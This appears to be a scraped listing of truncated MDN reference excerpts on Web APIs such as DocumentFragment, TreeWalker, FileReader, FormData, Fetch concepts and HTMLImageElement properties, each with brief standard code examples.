... dom tree. in the dom tree, the document fragment is replaced by all its children. since the document fragment is in memory and not part of the main dom tree, appending children to it does not cause page reflow (computation of element's position and geometry). historically, using document fragments could result in better performance. you can also use the documentfragment constructor to create a
new fragment: let fragment =
new documentfragment(); example this example creates a list of major web browsers in a documentfragment, then adds the
new dom subtree to the document to be displayed. html <ul id="ul"> </ul> javascript var element = document.getelementbyid('ul'); // assuming ul exists var fragment = document.createdocumentfragment(); var browsers = ['firefox', 'chrome', 'opera', ...
Document.createTreeWalker() - Web APIs
syntax document.createtreewalker(root, whattoshow[, filter[, entityreferenceexpansion]]); parameters root a root node of this treewalker traversal. typically this will be an element owned by the document. whattoshow optional a unsigned long representing a bitmask created by combining the constant properties of nodefilter. it is a convenient way of filtering for certain types of node. it defaults to 0xffffffff representing the show_all constant. constant numerical value description nodefilter.show_all -1 (that is the max value of unsigned long) shows all nodes. ...
... shows text nodes. filter optional a nodefilter, that is an object with a method acceptnode, which is called by the treewalker to determine whether or not to accept a node that has passed the whattoshow check. entityreferenceexpansion optional a boolean flag indicating if when discarding an entityreference its whole sub-tree must be discarded at the same time. return value a
new treewalker object. example the following example goes through all nodes in the body, reduces the set of nodes to elements, simply passes through as acceptable each node (it could reduce the set in the acceptnode() method instead), and then makes use of tree walker iterator that is created to advance through the nodes (now all elements) and push them into an array. var treewalker = document.cre...
Document.execCommand() - Web APIs
when using contenteditable, execcommand() affects the currently active editable element. ...
...oves the current selection and copies it to the clipboard. when this behavior is enabled varies between browsers, and its conditions have evolved over time. check the compatibility table for usage details. decreasefontsize adds a <small> tag around the selection or at the insertion point. (not supported by internet explorer.) defaultparagraphseparator changes the paragraph separator used when
new paragraphs are created in editable text regions. see differences in markup generation for more details. delete deletes the current selection. enableabsolutepositioneditor enables or disables the grabber that allows absolutely-positioned elements to be moved around. the grabber is disabled by default since firefox 64 (bug 1490641). enableinlinetableediting enables or disables the table row/c...
Document.hasFocus() - Web APIs
nt within a popup window that is not the foreground doesn't have focus. syntax var focused = document.hasfocus(); return value false if the active element in the document has no focus; true if the active element in the document has focus. example this example checks whether the document has focus every 300 milliseconds. ...
...e if the active element in the document has no focus; true if the active element in the document has focus. example this example checks whether the document has focus every 300 milliseconds. to test the functionality of hasfocus(), click on the button to open a
new window, and try switching between the two pages. ...
Document.importNode() - Web APIs
ternalnode [, deep]); parameters externalnode the external node or documentfragment to import into the current document. deep optional a boolean which controls whether to include the entire dom subtree of the externalnode in the import. if deep is set to true, then externalnode and all of its descendants are copied. if deep is set to false, then only externalnode is imported — the
new node has no children. note: in the dom4 specification, deep was an optional argument with a default value of true. this default has changed in the latest spec! the
new default value is false. best practice: though it's still an optional argument, you should always provide the deep argument for backward and forward compatibility. with gecko 28.0 (firefox 28 / thunderbird 28 / seamon...
...onkey 2.26)), a shallow clone is defaulted instead of a deep clone. return value the copied importednode in the scope of the importing document. note: importednode's node.parentnode is null, since it has not yet been inserted into the document tree! example const iframe = document.queryselector("iframe"); const oldnode = iframe.contentwindow.document.getelementbyid("mynode"); const
newnode = document.importnode(oldnode, true); document.getelementbyid("container").appendchild(
newnode); notes before they can be inserted into the current document, nodes from external documents should either be: cloned using document.importnode(); or adopted using document.adoptnode(). best practice: although firefox doesn't currently enforce this rule, we encourage you to follow this rul...
Document.open() - Web APIs
result, you can no longer call document.write() into an untrusted document from chrome, even using wrappedjsobject. see security check basics for more about principals. three-argument document.open() there is a lesser-known and little-used three-argument version of document.open() , which is an alias of window.open() (see its page for full details). this call, for example opens github.com in a
new window, with its opener set to null: document.open('https://www.github.com','', 'noopener=true') two-argument document.open() browsers used to support a two-argument document.open(), with the following signature: document.open(type, replace) where type specified the mime type of the data you are writing (e.g. text/html) and replace if set (i.e. a string of "replace") specified that the histo...
... opener set to null: document.open('https://www.github.com','', 'noopener=true') two-argument document.open() browsers used to support a two-argument document.open(), with the following signature: document.open(type, replace) where type specified the mime type of the data you are writing (e.g. text/html) and replace if set (i.e. a string of "replace") specified that the history entry for the
new document would replace the current history entry of the document being written to. this form is now obsolete; it won't throw an error, but instead just forwards to document.open() (i.e. is the equivalent of just running it with no arguments). the history-replacement behavior now always happens. specifications specification status comment html living standardthe def...
DocumentFragment - Web APIs
properties this interface has no specific properties, but inherits those of its parent, node, and implements those of the parentnode interface. parentnode.children read only returns a live htmlcollection containing all objects of type element that are children of the documentfragment object. parentnode.firstelementchild read only returns the element that is t...
... great use with web components: <template> elements contain a documentfragment in their htmltemplateelement.content property. an empty documentfragment can be created using the document.createdocumentfragment() method or the constructor. example html <ul id="list"></ul> javascript var list = document.queryselector('#list') var fruits = ['apple', 'orange', 'banana', 'melon'] var fragment =
new documentfragment() fruits.foreach(function (fruit) { var li = document.createelement('li') li.innerhtml = fruit fragment.appendchild(li) }) list.appendchild(fragment) result specifications specification status comment domthe definition of 'documentfragment' in that specification. living standard added the constructor and the implementation of parent...
DocumentTimeline - Web APIs
properties this interface inherits its property from its parent, animationtimeline. animationtimeline.currenttime returns the time value in milliseconds for this timeline or null if it is inactive. ...
...iseconds for this timeline or null if it is inactive. examples we could share a single documenttimeline among multiple animations, thus allowing us to manipulate just that group of animations via their shared timeline. this bit of code would start all the cats animating 500 milliseconds into their animations: const cats = document.queryselectorall('.sharedtimelinecat'); const sharedtimeline =
new documenttimeline({ origintime: 500 }); for (const cat of cats) { const catkeyframes =
new keyframeeffect(cat, keyframes, timing); const catanimation =
new animation(catkeyframes, sharedtimeline); catanimation.play(); } specifications specification status comment web animationsthe definition of 'documenttimeline' in that specification. working draft editor'...
DynamicsCompressorNode() - Web APIs
options optional options are as follows: attack: the amount of time (in seconds) to reduce the gain by 10db. its default value is 0.003. this parameter is k-rate. its nominal range is [0, 1]. ...
... options optional options are as follows: attack: the amount of time (in seconds) to reduce the gain by 10db. its default value is 0.003. this parameter is k-rate. its nominal range is [0, 1]. ...
EXT_blend_minmax - Web APIs
the ext_blend_minmax extension is part of the webgl api and extends blending capabilities by adding two
new blend equations: the minimum or maximum color components of the source and destination colors. webgl extensions are available using the webglrenderingcontext.getextension() method. for more information, see also using extensions in the webgl tutorial. availability: this extension is only available to webgl1 contexts. in webgl2, the functionality of this extension is available on the webgl2 context by default. the constants in webgl2 are gl.min and gl.max. ...
...l extensions are available using the webglrenderingcontext.getextension() method. for more information, see also using extensions in the webgl tutorial. availability: this extension is only available to webgl1 contexts. in webgl2, the functionality of this extension is available on the webgl2 context by default. the constants in webgl2 are gl.min and gl.max. constants this extension adds two
new constants, which can be used in webglrenderingcontext.blendequation() and webglrenderingcontext.blendequationseparate(): ext.min_ext produces the minimum color components of the source and destination colors. ext.max_ext produces the maximum color components of the source and destination colors. examples var ext = gl.getextension('ext_blend_minmax'); gl.blendequation(ext.min_ext); gl.bl...
EXT_disjoint_timer_query - Web APIs
using extensions in the webgl tutorial. availability: this extension should be available in webgl1 contexts only. ext_disjoint_timer_query_webgl2 is available in webgl 2 contexts . in webgl 2, the getqueryobject was renamed to getqueryparameter. in webgl 2, other queries (such as occlusion queries and primitive queries) are possible using webglquery objects. types this extension exposes a
new type: gluint64ext unsigned 64-bit integer number. constants this extension exposes seven
new constants. ext.query_counter_bits_ext a glint indicating the number of bits used to hold the query result for the given target. ext.current_query_ext a webglquery object, which is the currently active query for the given target. ext.query_result_ext a gluint64ext containing the query result...
...ext.query_result_ext a gluint64ext containing the query result. ext.query_result_available_ext a glboolean indicating whether or not a query result is available. ext.time_elapsed_ext elapsed time (in nanoseconds). ext.timestamp_ext the current time. ext.gpu_disjoint_ext a glboolean indicating whether or not the gpu performed any disjoint operation. methods this extension exposes eight
new methods. ext.createqueryext() creates a
new webglquery. ext.deletequeryext() deletes a given webglquery. ext.isqueryext() returns true if a given object is a webglquery. ext.beginqueryext() the timer starts when all commands prior to beginqueryext have been fully executed. ext.endqueryext() the timer stops when all commands prior to endqueryext have been fully executed. e...
EffectTiming.fill - Web APIs
white rabbit's animation is formed by coupling a keyframeeffect with an animation object. the keyframeeffect takes an object of timing properties, which is where we pass in fill. ...
...of keyframes to slide the rabbit down the hole--and keep him down with 'fill'! var rabbitdownkeyframes =
new keyframeeffect( whiterabbit, [ { transform: 'translatey(0%)' }, { transform: 'translatey(100%)' } ], { duration: 3000, fill: 'forwards' } ); // set up the rabbit's animation to play on command by calling rabbitdownanimation.play() later var rabbitdownanimation =
new animation(rabbitdownkeyframes, document.timeline); alternatives to fill modes fill modes are primarily provided as a means of representing the animation-fill-mode feature of css animations. when used to persist the effect of an animation indefinitely, however, they have a number of drawbacks: the forwards fill of an animation (or backwards fill if the animation is playing in reverse) will c...
Element.outerHTML - Web APIs
of the contents of an element, or to replace the contents of an element, use the innerhtml property instead. syntax var content = element.outerhtml; element.outerhtml = htmlstring; value reading the value of outerhtml returns a domstring containing an html serialization of the element and its descendants. setting the value of outerhtml replaces the element and all of its descendants with a
new dom tree constructed by parsing the specified htmlstring. exceptions syntaxerror an attempt was made to set outerhtml using an html string which is not valid. nomodificationallowederror an attempt was made to set outerhtml on an element which is a direct child of a document, such as document.documentelement. examples getting the value of an element's outerhtml property: html <div id="...
... notes if the element has no parent element, setting its outerhtml property will not change it or its descendants. many browsers will also throw an exception. for example: var div = document.createelement("div"); div.outerhtml = "<div class=\"test\">test</div>"; console.log(div.outerhtml); // output: "<div></div>" also, while the element will be replaced in the document...
Element.setAttributeNodeNS() - Web APIs
syntax replacedattr = element.setattributenodens(attributenode) replacedattr is the replaced attribute node, if any, returned by this function. attributenode is an attr node. ...
... note that if you try to set without cloning the node, mozilla gives an ns_error_dom_inuse_attribute_err "attribute already in use" error, as the dom requires cloning for attr to be reused (unlike other nodes which can be moved). dom methods dealing with element's attributes: not namespace-aware, most commonly used methods namespace-aware variants (dom le...
Event() - Web APIs
the event() constructor creates a
new event. syntax
new event(typearg[, eventinit]); values typearg this is a domstring representing the name of the event. eventinit optional this is an eventinit dictionary, having the following optional fields: bubbles optional a boolean indicating whether the event bubbles. the default is false. cancelable optional a boolean indicating whether the event can be cancelled. the default is false. composed optional a boolean indicating whether the event will trigger listeners outside of a shadow root (see event.composed for more details). the default is false. ...
...event bubbles. the default is false. cancelable optional a boolean indicating whether the event can be cancelled. the default is false. composed optional a boolean indicating whether the event will trigger listeners outside of a shadow root (see event.composed for more details). the default is false. example // create a look event that bubbles up and cannot be canceled const evt =
new event("look", {"bubbles":true, "cancelable":false}); document.dispatchevent(evt); // event can be dispatched from any element, not only the document mydiv.dispatchevent(evt); specifications specification status comment domthe definition of 'event()' in that specification. living standard initial definition ...
EventSource() - Web APIs
the eventsource() constructor returns a
newly-created eventsource, which represents a remote resource. syntax eventsource =
new eventsource(url, configuration); parameters url a usvstring that represents the location of the remote resource serving the events/messages. configuration optional provides options to configure the
new connection. the possible entries are: withcredentials, defaulting to false, indicating if cors should be set to include credentials. ...
...ax eventsource =
new eventsource(url, configuration); parameters url a usvstring that represents the location of the remote resource serving the events/messages. configuration optional provides options to configure the
new connection. the possible entries are: withcredentials, defaulting to false, indicating if cors should be set to include credentials. examples var evtsource =
new eventsource('sse.php'); var eventlist = document.queryselector('ul'); evtsource.onmessage = function(e) { var
newelement = document.createelement("li");
newelement.textcontent = "message: " + e.data; eventlist.appendchild(
newelement); } note: you can find a full example on github — see simple sse demo using php. specifications specification status comment ht...
ExtendableEvent - Web APIs
ono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">extendableevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} note: this interface is only available when the global scope is a serviceworkerglobalscope. it is not available when it is a window, or the scope of another kind of worker. constructor extendableevent() creates a
new extendableevent object. properties doesn't implement any specific properties, but inherits properties from its parent, event. methods inherits methods from its parent, event. extendableevent.waituntil() extends the lifetime of the event. it is intended to be called in the install eventhandler for the installing worker and on the activate eventhandler for the active worker. example...
... './static/pre_fetched.txt', './static/pre_fetched.html', 'https://www.chromium.org/_/rsrc/1302286216006/config/customlogo.gif' ]; console.log('handling install event. ...
ExtendableMessageEvent() - Web APIs
init optional an initialisation object, which should contain the following parameters: data: the event's data — this can be any data type. origin: a domstring that defines the origin of the corresponding service worker's environment settings object. lasteventid: a domstring that defines the last event id of the event source. source: the client, serviceworker or messageport that sent the message. ...
...fines the last event id of the event source. source: the client, serviceworker or messageport that sent the message. ports: an array containing the messageport objects connected to the channel sending the message. examples var init = { data : 'hello message', source : messageportreference, ports : messageportlistreference } var myeme =
new extendablemessageevent('message', init); specifications specification status comment service workersthe definition of 'extendablemessageevent()' in that specification. working draft initial definition. ...
FederatedCredential - Web APIs
a federated identity provider is an entity that a website trusts to correctly authenticate a user, and that provides an api for that purpose. openid connect is an example of a federated identity provider framework. in browsers that support it, an instance of this interface may be passed in the credential member of the init object for global fetch. ...
...}); specifications specification status comment credential management level 1 working draft initial definition. ...
FetchEvent() - Web APIs
this is always fetch for fetch events. init optional an object conforming to the fetcheventinit dictionary, containing options to apply to the event object. options are as follows: clientid read only the client that the current service worker is controlling. isreload read only a boolean that signifies whether the page was reloaded or not when the event was dispatched. true if yes, and false if not. typically, pressing the refresh button in a browser is a reload, while clicking a link and pressing the back button is not. ...
...in a browser is a reload, while clicking a link and pressing the back button is not. if not present, it defaults to false. preloadresponse read only a promise which returns a previously-loaded response to the client. replacesclientid read only a domstring which identifies the client which is being replaced by resultingclientid. resultingclientid read only a domstring containing the
new clientid if the client changes as a result of the page load. request read only the request object that would have triggered the event handler. specifications specification status comment service workersthe definition of 'fetchevent() constructor' in that specification. working draft initial definition. ...
Fetch basic concepts - Web APIs
ther apis to make use of such functionality. service workers is an example of an api that makes heavy use of fetch. fetch takes the asynchronous nature of such requests one step further. the api is completely promise-based. guard guard is a feature of headers objects, with possible values of immutable, request, request-no-cors, response, or none, depending on where the header is used. ...
...uard is a feature of headers objects, with possible values of immutable, request, request-no-cors, response, or none, depending on where the header is used. when a
new headers object is created using the headers() constructor, its guard is set to none (the default). when a request or response object is created, it has an associated headers object whose guard is set as summarized below:
new object's type creating constructor guard setting of associated headers object request request() request request() with mode of no-cors request-no-cors response response() response error() or redirect() methods immutable a header's guard affects the set(), delete(), and append() methods which change the header's contents. a typ...
Cross-global fetch usage - Web APIs
comes up against this edge case. to see it: you need a same-origin iframe that same-origin iframe needs to have a location with a different base url you have to use the fetch function cross-global, e.g. frame.contentwindow.fetch() the url passed to fetch needs to be relative the problem in the past we would resolve the relative url against the current global, for example: let absolute =
new url(relative, window.location.href) this is not a problem as such. it is just that different apis that exhibit this kind of behavior were doing it inconsistently with the behavior defined in the spec, which could lead to problems further down the line. the solution in firefox 60 onwards, mozilla resolves the relative url against the global that owns the fetch() function being used (see bug 143...
...hat exhibit this kind of behavior were doing it inconsistently with the behavior defined in the spec, which could lead to problems further down the line. the solution in firefox 60 onwards, mozilla resolves the relative url against the global that owns the fetch() function being used (see bug 1432272). so in the case described above, it is resolved against the iframe's location: let absolute =
new url(relative, frame.contentwindow.location.href) there is a lot of discussion in progress about getting
new specs to align with this behavior change, to mitigate potential problems going forward. ...
File.File() - Web APIs
the file() constructor creates a
new file object instance. syntax
new file(bits, name[, options]); parameters bits an array of arraybuffer, arraybufferview, blob, usvstring objects, or a mix of any of such objects, that will be put inside the file. usvstring objects are encoded as utf-8. name a usvstring representing the file name or the path to the file. options optional an options object containing optional attributes for the file. available options are as follows: type: a domstring representing the mime type of the content that will be put into the file. defaults to a value of "". lastmodified: a number representing the number of milliseconds between the unix time epoch and when the file was last modified. ...
...object containing optional attributes for the file. available options are as follows: type: a domstring representing the mime type of the content that will be put into the file. ...
File - Web APIs
instance properties file.prototype.lastmodified read only returns the last modified time of the file, in millisecond since the unix epoch (january 1st, 1970 at midnight). file.prototype.lastmodifieddate read only returns the last modified date of the file referenced by the file object. file.prototype.nameread only returns the name of the file referenced by the f...
...file implements blob, so it also has the following properties available to it: file.prototype.size read only returns the size of the file in bytes. file.prototype.type read only returns the mime type of the file. instance methods the file interface doesn't define any methods, but inherits methods from the blob interface: blob.prototype.slice([start[, end[, contenttype]]]) returns a
new blob object containing the data in the specified range of bytes of the source blob. blob.prototype.stream() transforms the file into a readablestream that can be used to read the file contents. blob.prototype.text() transforms the file into a stream and reads it to completion. it returns a promise that resolves with a usvstring (text). blob.prototype.arraybuffer() transforms the file into a...
FileError - Web APIs
fileerror objects are passed to error callbacks. the objects have a code that shows the type of error that occurred. best practices most people don't read the page on errors and exceptions unless they're stumped. ...
... fileerror objects are passed to error callbacks. the objects have a code that shows the type of error that occurred. best practices most people don't read the page on errors and exceptions unless they're stumped. ...
FileReader() - Web APIs
the filereader() constructor creates a
new filereader. for details about how to use filereader, see using files from web applications. syntax var reader =
new filereader(); parameters none. ...
... the filereader() constructor creates a
new filereader. for details about how to use filereader, see using files from web applications. syntax var reader =
new filereader(); parameters none. ...
FileReader.readAsDataURL() - Web APIs
t. syntax instanceoffilereader.readasdataurl(blob); parameters blob the blob or file from which to read. ...
..." type="file" onchange="previewfiles()" multiple> <div id="preview"></div> javascript function previewfiles() { var preview = document.queryselector('#preview'); var files = document.queryselector('input[type=file]').files; function readandpreview(file) { // make sure `file.name` matches our extensions criteria if ( /\.(jpe?g|png|gif)$/i.test(file.name) ) { var reader =
new filereader(); reader.addeventlistener("load", function () { var image =
new image(); image.height = 100; image.title = file.name; image.src = this.result; preview.appendchild( image ); }, false); reader.readasdataurl(file); } } if (files) { [].foreach.call(files, readandpreview); } } note: the filereader() constructor ...
FileReader.readAsText() - Web APIs
syntax instanceoffilereader.readastext(blob[, encoding]); parameters blob the blob or file from which to read. ...
... syntax instanceoffilereader.readastext(blob[, encoding]); parameters blob the blob or file from which to read. ...
FileSystemDirectoryEntry - Web APIs
the filesystemdirectoryentry interface of the file and directory entries api represents a directory in a file system. it provides methods which make it possible to access and manipulate the files in a directory, as well as to access the entries within the directory. basic concepts you can create a
new directory by calling getdirectory(). if you want to create subdirectories, create each child directory in sequence. if you try creating a directory using a full path that includes parent directories that do not exist yet, an error is returned. so create the hierarchy by recursively adding a
new path after creating the parent directory. example in the following code snippet, we create a directory called "documents." // taking care of the browser-specific prefixes. window.requestfi...
... full support full support no support no supportexperimental. expect behavior to change in the future.experimental. expect behavior to change in the future.non-standard. expect poor cross-browser support.non-standard. expect poor cross-browser support.deprecated. not for use in
new websites.deprecated. not for use in
new websites.see implementation notes.see implementation notes.uses a non-standard name.uses a non-standard name.requires a vendor prefix or different name for use.requires a vendor prefix or different name for use. ...
FontFace.FontFace() - Web APIs
the fontface() constructor creates a
new fontface object. syntax var fontface =
new fontface(family, source, descriptors); parameters family specifies a name that will be used as the font face value for font properties. takes the same type of values as the font-family descriptor of @font-face . source the font source. this can be either: a url binary font data descriptors optional a set of optional descriptors passed as an object. ...
...source the font source. this can be either: a url binary font data descriptors optional a set of optional descriptors passed as an object. ...
FormData - Web APIs
hparams constructor if you want to generate query parameters in the way a <form> would do if it were using simple get submission. an object implementing formdata can directly be used in a for...of structure, instead of entries(): for (var p of myformdata) is equivalent to for (var p of myformdata.entries()). note: this feature is available in web workers. constructor formdata() creates a
new formdata object. methods formdata.append() appends a
new value onto an existing key inside a formdata object, or adds the key if it does not already exist. formdata.delete() deletes a key/value pair from a formdata object. formdata.entries() returns an iterator allowing to go through all key/value pairs contained in this object. formdata.get() returns the first value associated with a...
...sociated with a given key from within a formdata object. formdata.getall() returns an array of all the values associated with a given key from within a formdata. formdata.has() returns a boolean stating whether a formdata object contains a certain key. formdata.keys() returns an iterator allowing to go through all keys of the key/value pairs contained in this object. formdata.set() sets a
new value for an existing key inside a formdata object, or adds the key/value if it does not already exist. formdata.values() returns an iterator allowing to go through all values contained in this object. specifications specification status comment xmlhttprequestthe definition of 'formdata' in that specification. living standard formdata defined in xhr spec ...
FormDataEvent() - Web APIs
the formdataevent() constructor creates a
new formdataevent object instance. syntax
new formdataevent(type[, formeventinit]); values type a domstring representing the name of the event. formeventinit optional a formeventinit dictionary, which can take the following optional fields: bubbles: a boolean indicating whether the event bubbles. the default is false. cancelable: a boolean indicating whether the event can be cancelled. the default is false. composed: a boolean indicating whether the event will trigger listeners outside of a shadow root (see event.composed for more details). the default is false. formdata: a formdata object to pre-populate the formdataevent with. ...
...an indicating whether the event can be cancelled. the default is false. composed: a boolean indicating whether the event will trigger listeners outside of a shadow root (see event.composed for more details). the default is false. formdata: a formdata object to pre-populate the formdataevent with. this would then be accessed through the formdataevent.formdata property. examples let fd =
new formdata(); fd.append('test', 'test'); let fdev =
new formdataevent('formdata', { formdata: fd }); for (let value of fdev.formdata.values()) { console.log(value); } specifications specification status comment html living standardthe definition of 'formdataevent' in that specification. living standard initial definition ...
FormDataEvent.formData - Web APIs
tained in the form when the event was fired. syntax formdata = formdataevent.formdata returns a formdata object. ...
... living standard ...
Frame Timing API - Web APIs
processing dom events, resizing, scrolling, rendering, css animations, etc. a frame rate of 60 fps (frames per second) for a 60 hz refresh rate is a common target for a good responsive user experience. this means the browser should process a frame in about 16.7 ms. an application can register a performanceobserver for "frame" performance entry types. the observer (callback) will be notified when
new "frame" events are added to the browser's performance timeline and the frame's duration (length of time) will be available. this data can be used to help identify areas that take too long to provide a good user experience. example code of the interfaces described in this document is included in using the frame timing api. performance frames the performanceframetiming interface extends the foll...
...observer's callback function that was specified when the observer was created. to observe "frame" performance entry types, the application first creates a performanceobserver object with a specific frame observer callback (function). next, performanceobserver.observe() is used to specify the set of performance events to observe - in this case, just the "frame" event type. when the browser adds a
new frame to the performance timeline, the specified observer callback will be invoked. accessing frame data when a frame observer is invoked, frame performance entries can be retrieved by calling performanceobserverentrylist.getentriesbytype() with an argument of "frame". this method returns a list of "frame" performanceentry objects. each frame object's duration property returns the timestamp of ...
Guide to the Fullscreen API - Web APIs
, cannot be presented in fullscreen mode. attempting to put an element which can't be displayed in fullscreen mode (or the parent or descendant of such an element) won't work. instead, the element which requested fullscreen will receive a mozfullscreenerror event. when a fullscreen request fails, firefox will log an error message to the web console explaining why the request failed. in chrome and
newer versions of opera however, no such warning is generated. note: fullscreen requests need to be called from within an event handler or otherwise they will be denied. getting out of full screen mode the user always has the ability to exit fullscreen mode of their own accord; see things your users want to know. you can also do so programmatically by calling the document.exitfullscreen() metho...
...l support 10.0 full support 1.0alternate name alternate name uses the non-standard name: webkitisfullscreenlegend full support full support no support no supportdeprecated. not for use in
new websites.deprecated. not for use in
new websites.user must explicitly enable this feature.user must explicitly enable this feature.uses a non-standard name.uses a non-standard name. document.fullscreenenabled the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a ...
GainNode.gain - Web APIs
the gain property of the gainnode interface is an a-rate audioparam representing the amount of gain to apply. syntax var audioctx =
new audiocontext(); var gainnode = audioctx.creategain(); gainnode.gain.value = 0.5; value an audioparam. note: though the audioparam returned is read-only, the value it represents is not. example the following example shows basic usage of an audiocontext to create a gainnode, which is then used to mute and unmute the audio when a mute button is clicked by changing the gain property value. ...
...the following example shows basic usage of an audiocontext to create a gainnode, which is then used to mute and unmute the audio when a mute button is clicked by changing the gain property value. ...
GlobalEventHandlers - Web APIs
cancel event is sent, indicating that a running css animation has been canceled. globaleventhandlers.onanimationend an eventhandler called when an animationend event is sent, indicating that a css animation has stopped playing. globaleventhandlers.onanimationiteration an eventhandler called when an animationiteration event has been sent, indicating that a css animation has begun playing a
new iteration of the animation sequence. globaleventhandlers.onanimationstart an eventhandler called when an animationstart event is sent, indicating that a css animation has started playing. globaleventhandlers.onauxclick an eventhandler called when an auxclick event is sent, indicating that a non-primary button has been pressed on an input device (e.g. a middle mouse button). globaleventha...
...leventhandlers.onseeking is an eventhandler representing the code to be called when the seeking event is raised. globaleventhandlers.onselect is an eventhandler representing the code to be called when the select event is raised. globaleventhandlers.onselectstart is an eventhandler representing the code to be called when the selectionchange event is raised, i.e. when the user starts to make a
new text selection on a web page. globaleventhandlers.onselectionchange is an eventhandler representing the code to be called when the selectionchange event is raised, i.e. when the text selected on a web page changes. globaleventhandlers.onshow is an eventhandler representing the code to be called when the show event is raised. globaleventhandlers.onsort is an eventhandler representing the c...
Gyroscope.Gyroscope() - Web APIs
a whole number or decimal may be used, the latter for frequencies less than a second. ...
...a whole number or decimal may be used, the latter for frequencies less than a second. ...
Gyroscope - Web APIs
s. to use this sensor, the user must grant permission to the 'gyroscope' device sensor through the permissions api. if a feature policy blocks use of a feature it is because your code is inconsistent with the policies set on your server. this is not something that would ever be shown to a user. see feature-policy for implementation instructions. constructor gyroscope.gyroscope() creates a
new gyroscope object. properties gyroscope.x read only returns a double, containing the angular velocity of the device along the device's x axis. gyroscope.y read only returns a double, containing the angular velocity of the device along the device's y axis. gyroscope.z read only returns a double, containing the angular velocity of the device along the device's z axis. example the gyr...
...ce's x axis. gyroscope.y read only returns a double, containing the angular velocity of the device along the device's y axis. gyroscope.z read only returns a double, containing the angular velocity of the device along the device's z axis. example the gyroscope is typically read in the sensor.onreading event callback. in the example below this occurs sixty times a second. ...
Audio() - Web APIs
the audio() constructor creates and returns a
new htmlaudioelement which can be either attached to a document for the user to interact with and/or listen to, or can be used offscreen to manage and play audio. syntax audioobj =
new audio(url); parameters url optional an optional domstring containing the url of an audio file to be associated with the
new audio element. return value a
new htmlaudioelement object, configured to be used for playing back the audio from the file specified by url.the
new object's preload property is set to auto and its src property is set to the specified url or null if no url is given. if a url is specified, the browser begins to asynchronously load the media resource before returning the
new object. usage notes you can also use other element-creatio...
... determining when playback can begin there are three ways you can tell when enough of the audio file has loaded to allow playback to begin: check the value of the readystate property. if it's htmlmediaelement.have_future_data, there's enough data available to begin playback and play for at least a short time. ...
HTMLFormElement: formdata event - Web APIs
le no interface formdataevent event handler property globaleventhandlers.onformdata examples // grab reference to form const formelem = document.queryselector('form'); // submit handler formelem.addeventlistener('submit', (e) => { // on form submission, prevent default e.preventdefault(); // construct a formdata object, which fires the formdata event
new formdata(formelem); }); // formdata handler to retrieve data formelem.addeventlistener('formdata', (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr var request =
new xmlhttprequest(); request.open("post", "/formhandler"); request.se...
...hr var request =
new xmlhttprequest(); request.open("post", "/formhandler"); request.send(data); }); the onformdata version would look like this: formelem.onformdata = (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr var request =
new xmlhttprequest(); request.open("post", "/formhandler"); request.send(data); }; specifications specification status comment html living standardthe definition of 'formdata' in that specification. unknown ...
Image() - Web APIs
height the height of the image (i.e., the value for the height attribute). usage note the entire bitmap is loaded regardless of the sizes specified in the constructor. the size specified in the constructor is reflected through the properties htmlimageelement.width and htmlimageelement.height of the resulting instance. ...
...nstructor is reflected through the properties htmlimageelement.width and htmlimageelement.height of the resulting instance. the intrinsic width and height of the image in css pixels are reflected through the properties htmlimageelement.naturalwidth and htmlimageelement.naturalheight. if no size is specified in the constructor both pairs of properties have the same values. examples var myimage =
new image(100, 200); myimage.src = 'picture.jpg'; document.body.appendchild(myimage); this would be the equivalent of defining the following html tag inside the <body>: <img width="100" height="200" src="picture.jpg"> specifications specification status comment html living standardthe definition of 'image()' in that specification. living standard ...
HTMLImageElement.crossOrigin - Web APIs
ials are sent if the image is fetched from the same origin from which the document was loaded. use-credentials requests by the htmlimageelement will use the cors mode and the include credentials mode; all image requests by the element will use cors, regardless of what domain the fetch is from. if crossorigin is an empty string (""), the anonymous mode is selected. example in this example, a
new <img> element is created and added to the document, loading the image with the anonymous state; the image will be loaded using cors and credentials will be used for all cross-origin loads. javascript the code below demonstrates setting the crossorigin property on an <img> element to configure cors access for the fetch of a
newly-created image. const imageurl = "https://mdn.mozillademos.org/fil...
...s and credentials will be used for all cross-origin loads. javascript the code below demonstrates setting the crossorigin property on an <img> element to configure cors access for the fetch of a
newly-created image. ...
HTMLImageElement.loading - Web APIs
d can cause users to click the wrong thing at worst, depending on the exact timing of the deferred loads and reflows. example the addimagetolist() function shown below adds a photo thumbnail to a list of items, using lazy-loading to avoid loading the image from the network until it's actually needed. ...
...at worst, depending on the exact timing of the deferred loads and reflows. example the addimagetolist() function shown below adds a photo thumbnail to a list of items, using lazy-loading to avoid loading the image from the network until it's actually needed. function addimagetolist(url) { const list = document.queryselector("div.photo-list"); let
newitem = document.createelement("div");
newitem.classname = "photo-item"; let
newimg = document.createelement("img");
newimg.loading = "lazy";
newimg.width = 320;
newimg.height = 240;
newimg.src = url;
newitem.appendchild(
newimg); list.appendchild(
newitem); } specifications specification status comment html living standardthe definition of 'htmlimageelement.loading' in that specification. l...
HTMLImageElement.sizes - Web APIs
ple let you actually modify the sizes property slightly, switching the largest of the three widths for the image between 40em and 50em. html <article> <h1>an amazing headline</h1> <div class="test"></div> <p>this is even more amazing content text. it's really spectacular. and fascinating. oh, it's also clever and witty. ...
..., switching the largest of the three widths for the image between 40em and 50em. html <article> <h1>an amazing headline</h1> <div class="test"></div> <p>this is even more amazing content text. it's really spectacular. and fascinating. oh, it's also clever and witty. award-winning stuff, i'm sure.</p> <img src="/files/16870/
new-york-skyline-wide.jpg" srcset="/files/16870/
new-york-skyline-wide.jpg 3724w, /files/16869/
new-york-skyline-4by3.jpg 1961w, /files/16871/
new-york-skyline-tall.jpg 1060w" sizes="((min-width: 50em) and (max-width: 60em)) 50em, ((min-width: 30em) and (max-width: 50em)) 30em, (max-width: 30em) 20em"> <p>then there's even more amazing stuff to say down here. can you believe it? ...
HTMLInputElement.setRangeText() - Web APIs
the htmlinputelement.setrangetext() method replaces a range of text in an <input> or <textarea> element with a
